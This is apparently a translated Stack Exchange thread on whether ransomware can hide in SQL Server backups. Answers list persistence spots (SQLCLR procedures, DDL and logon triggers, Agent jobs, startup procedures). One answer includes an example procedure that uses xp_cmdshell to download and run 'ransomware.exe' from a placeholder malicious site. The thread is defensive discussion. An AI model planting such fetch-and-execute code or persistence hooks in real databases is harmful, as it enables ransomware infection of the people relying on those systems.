勒索软件能否将自身嵌入到 SQL 备份文件中?

ice*_*ain 17 security sql-server sql-server-2016

防范勒索软件的最佳保护措施之一是将所有数据库文件备份到完全独立的系统。我们已经做到了。

但一种想法是数据库的备份现在可能包含勒索软件。这可能吗?这是 2016 SQL Server 本机创建的 .bak。或者勒索软件不可能将自身嵌入到备份文件中?

pmd*_*dba 22

永远不要说永远,但由于备份不是可执行文件并且不包含直接可执行代码(它们与数据有关,而不是 SQL Server 软件本身),我认为风险非常非常。您的备份文件更有可能成为勒索软件的目标,而不是感染代理。任何可执行文件都必须可以从数据库内执行,例如存储过程。勒索软件有更有效、更直接的传播方式。

  • 没有 SQL Server 生态系统来运行它?它本身不是编译的二进制代码,并且作为存储过程嵌入的任何恶意软件都无法自我复制或“做”任何有害的事情,而不利用底层数据库引擎的弱点或配置错误,或者 DBA 的轻信/缺乏经验。 。 (2认同)
  • 如果在 SQL Server 中发现错误,则可以修改备份以滥用该错误并安装恶意软件。 (2认同)

Bre*_*rey 12

您通常需要担心的是勒索软件会在网络上找到您的备份并对其进行加密。当勒索软件攻击您的网络时,它通常会快速传播,并锁定它能找到的所有内容。如果勒索软件获得域管理员权限,这通常会在几分钟内发生。

\n

最坏的情况是,勒索软件会使您的数据库服务器脱机,并加密所有备份。如果您没有\xe2\x80\x99 的备份的脱机副本,则从备份中恢复即使不是不可能,也可能会很困难。为了真正保护自己,请确保您\xe2\x80\x99保留备份的脱机副本。

\n


Jos*_*hua 6

是的。不过我从来没有见过这个。

SQL Server 有一个功能,您可以用 C# 编写存储过程。我们曾经考虑过使用它。从之前的几个版本开始,此功能默认处于关闭状态。

因此,如果勒索软件打开该功能,并将一些存储过程转换为 C# 并添加自身,那么当您恢复备份时,您在尝试使用所述存储过程时将收到错误消息,并且可能会打开该功能。然后 C# 代码将运行。

现在这就是它变得多汁的地方。沙箱逃逸漏洞如此之多,以至于 MS 放弃并弃用了 Silverlight,并默认关闭了 SQL Server 中的 .NET 存储过程。如果仅仅因为你找不到一个今天有效的产品就认为它已经没有了,那是不明智的。

稍微更现实的攻击是修改 SP,使其执行以下操作:

IF (session is admin)
BEGIN
    -- xp_cmdshell is off by default but this is a speed bump; SQL can just turn it on
    -- I've done it before because I had to put up with surface area configuration broken, but I'm not writing it here
    xp_cmdshell 'powershell wget https://badsite.com/ransomware.exe'
    xp_cmdhsell 'ransomware.exe'
END
Run Code Online (Sandbox Code Playgroud)

然后等待系统管理员执行它。在临时实例上恢复的备份很少被适当限制的用户使用。另一方面,勒索软件需要非常像蠕虫病毒才能获取无法擦除的内容。


Cha*_*ace 5

除了 @Joshua 对 SQLCLR 过程的回答之外,病毒和勒索软件还可以侵入其他地方:

  • 数据库级 DDL 触发器,其优点是由可能拥有sa权限的 DBA 执行。

这会导致一些更有害的地方:

  • 数据库msdb,特别是 SQL Server 代理作业表,可以在其中设置计划作业以特定时间间隔运行。这可以在 T-SQL 或 Powershell 中。
  • 它可能会侵入master数据库。如果它进入这里,它可以隐藏在几个不同的地方:
    • 它可以设置 DDL 触发器,与任何其他数据库相同。
    • 它可以设置一个登录触发器,每次有人登录时都会执行该触发器,我认为它执行为sa.
    • 它可以设置一个自动执行程序,在每次启动时运行。这是通过sp_procoption系统程序完成的。
  • 它可能会潜入tempdb,在那里它可以设置一个 DDL 触发器,以便在每次创建临时表时触发。tempdb虽然没有备份。
  • 它可以隐藏在model数据库中,准备在下次创建新数据库时弹出。

如果不更改这些数据库的权限,那么这些事情都是不可能的,并且病毒永远不会获得sysadmin权限,这无疑是很难预防的。

另请注意,SQL Server 运行所用的帐户应该是受限服务帐户,而不是 ,SYSTEM如果 SQL Server 以上述方式受到攻击,这将防止服务器操作系统完全受到攻击。

进一步请注意,如果操作系统受到高达管理员/su级别的威胁,请考虑上述所有 SQL Server 位置是否可疑。最佳实践是从头开始构建系统数据库。